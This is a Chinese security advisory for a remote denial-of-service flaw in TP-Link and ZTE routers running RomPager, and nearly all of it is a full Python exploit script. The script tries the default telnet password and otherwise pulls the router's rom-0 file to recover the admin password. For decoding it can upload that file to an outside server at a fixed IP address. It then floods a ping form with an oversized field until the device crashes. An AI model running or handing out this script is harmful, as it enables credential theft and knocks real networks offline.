发布日期:2014-06-10
更新日期:2014-06-17
受影响系统:
TP-LINK TD-8817 3.11.2.175_TC3086
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 68024
TP-Link是知名的网络与通信设备供应商。
TP-Link TD-W8901G, TD-W8101G, TD-8840G, TD-8817固件版本3.11.2.175_TC3086、T14.F7_5.0存在远程拒绝服务漏洞,攻击者可利用此漏洞造成受影响设备崩溃。
<*来源:Osanda Malith
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
class BitReader:
def __init__(self, bytes):
self._bits = collections.deque()
for byte in bytes:
byte = ord(byte)
for n in xrange(8):
self._bits.append(bool((byte >> (7-n)) & 1))
def getBit(self):
return self._bits.popleft()
def getBits(self, num):
res = 0
for i in xrange(num):
res += self.getBit() << num-1-i
return res
def getByte(self):
return self.getBits(8)
def __len__(self):
return len(self._bits)
class RingList:
def __init__(self, length):
self.__data__ = collections.deque()
self.__full__ = False
self.__max__ = length
def append(self, x):
if self.__full__:
self.__data__.popleft()
self.__data__.append(x)
if self.size() == self.__max__:
self.__full__ = True
def get(self):
return self.__data__
def size(self):
return len(self.__data__)
def maxsize(self):
return self.__max__
def __getitem__(self, n):
if n >= self.size():
return None
return self.__data__[n]
def filter_non_printable(str):
return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
def banner():
return '''
\t\t _/_/_/ _/_/_/
\t\t _/ _/ _/_/ _/
\t\t _/ _/ _/ _/ _/_/
\t\t _/ _/ _/ _/ _/
\t\t_/_/_/ _/_/ _/_/_/
'''
def dos(host, password):
while (1):
url = 'http://' +host+ '/Forms/tools_test_1'
parameters = {
'Test_PVC' : 'PVC0',
'PingIPAddr' : '\101'*2000,
'pingflag' : '1',
'trace_open_flag' : '0',
'InfoDisplay' : '+-+Info+-%0D%0A'
}
params = urllib.urlencode(parameters)
req = urllib2.Request(url, params)
base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
req.add_header("Authorization", "Basic %s" %base64string)
req.add_header("Content-type", "application/x-www-form-urlencoded")
req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
try:
print '[~] Sending Payload'
response = urllib2.urlopen(req, timeout=1)
sys.exit(0)
except:
flag = checkHost(host)
if flag == 0:
print '[+] The host is still up and running'
else:
print '[~] Success! The host is down'
sys.exit(0)
break
def checkHost(host):
if sys.platform == 'win32':
c = "ping -n 2 " + host
else:
c = "ping -c 2 " + host
try:
x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
time.sleep(1)
return x
except:
pass
def checkServer(host):
connexion = httplib.HTTPConnection(host)
connexion.request("GET", "/status.html")
response = connexion.getresponse()
server = response.getheader("server")
connexion.close()
time.sleep(2)
if server == 'RomPager/4.07 UPnP/1.0':
return 0
else:
return 1
def checkPassword(host):
print '[+] Checking for default password'
defaultpass = 'admin'
tn = telnetlib.Telnet(host, 23, 4)
tn.read_until("Password: ")
tn.write(defaultpass + '\n')
time.sleep(2)
banner = tn.read_eager()
banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
tn.write("exit\n")
tn.close()
time.sleep(4)
if banner == 'Copyright':
print '[+] Default password is being used'
dos(host, defaultpass)
else:
print '[!] Default Password is not being used'
while True:
msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
try:
if msg[0] == 'y':
password = decodePasswordLocal(host)
print '[*] Router password is: ' +password
dos(host, password)
break
if msg[0] == 'n':
password = decodePasswordRemote(host)
print '[*] Router password is: ' +password
dos(host, password)
break
else:
print '[!] Enter a valid choice'
except Exception, e:
print e
continue
def decodePasswordRemote(host):
fname = 'rom-0'
if os.path.isfile(fname) == True:
os.remove(fname)
urllib.urlretrieve ("http://"+host+"/rom-0", fname)
# If this URL goes down you might have to find one and change this function.
# You can also use the local decoder. It might have few errors in getting output.
url = 'http://198.61.167.113/zynos/decoded.php' # Target URL
files = {'uploadedfile': open('rom-0', 'rb') } # The rom-0 file we wanna upload
data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'} # Additional Parameters we need to include
headers = { 'User-agent' : 'Python Demo Agent v1' } # Any additional Headers you want to send or include
res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
res1 =res.content
p = re.search('rows=10>(.*)', res1)
if p:
passwd = found = p.group(1)
else:
password = 'NotFound'
return passwd
def decodePasswordLocal(host):
# Sometimes this might output a wrong password while finding the exact string.
# print the result as mentioned below and manually find out
fname = 'rom-0'
if os.path.isfile(fname) == True:
os.remove(fname)
urllib.urlretrieve ("http://"+host+"/rom-0", fname)
fpos=8568
fend=8788
fhandle=file('rom-0')
fhandle.seek(fpos)
chunk="*"
amount=221
while fpos < fend:
if fend-fpos < amount:
amount = amount
data = fhandle.read(amount)
fpos += len(data)
reader = BitReader(data)
result = ''
window = RingList(2048)
while True:
bit = reader.getBit()
if not bit:
char = reader.getByte()
result += chr(char)
window.append(char)
else:
bit = reader.getBit()
if bit:
offset = reader.getBits(7)
if offset == 0:
break
else:
offset = reader.getBits(11)
lenField = reader.getBits(2)
if lenField < 3:
lenght = lenField + 2
else:
lenField <<= 2
lenField += reader.getBits(2)
if lenField < 15:
lenght = (lenField & 0x0f) + 5
else:
lenCounter = 0
lenField = reader.getBits(4)
while lenField == 15:
lenField = reader.getBits(4)
lenCounter += 1
lenght = 15*lenCounter + 8 + lenField
for i in xrange(lenght):
char = window[-offset]
result += chr(char)
window.append(char)
result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
# In case the password you see is wrong while filtering, manually print it from here and findout.
#print result
if 'TP-LINK' in result:
result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
result = result.replace("TP-LINK", "")
result = result[1:]
if 'ZTE' in result:
result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
result = result.replace("ZTE", "")
result = result[1:]
if 'tc160' in result:
result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
result = result.replace("tc160", "")
result = result[1:]
return result
def regex(path, text):
match = re.search(path, text)
if match:
return match.group()
else:
return None
def main():
if sys.platform == 'win32':
os.system('cls')
else:
os.system('clear')
try:
print banner()
print '''
|=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.
'''
parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
parser.add_option('-i', dest='host',
type='string',
help='Specify the IP to attack')
(options, args) = parser.parse_args()
if options.host is None:
parser.print_help()
exit(-1)
host = options.host
x = checkHost(host)
if x == 0:
print '[+] The host is up and running'
server = checkServer(host)
if server == 0:
checkPassword(host)
else:
print ('[!] Sorry the router is not running RomPager')
else:
print '[!] The host is not up and running'
sys.exit(0)
except KeyboardInterrupt:
print '[!] Ctrl + C detected\n[!] Exiting'
sys.exit(0)
except EOFError:
print '[!] Ctrl + D detected\n[!] Exiting'
sys.exit(0)
if __name__ == "__main__":
main()
#EOF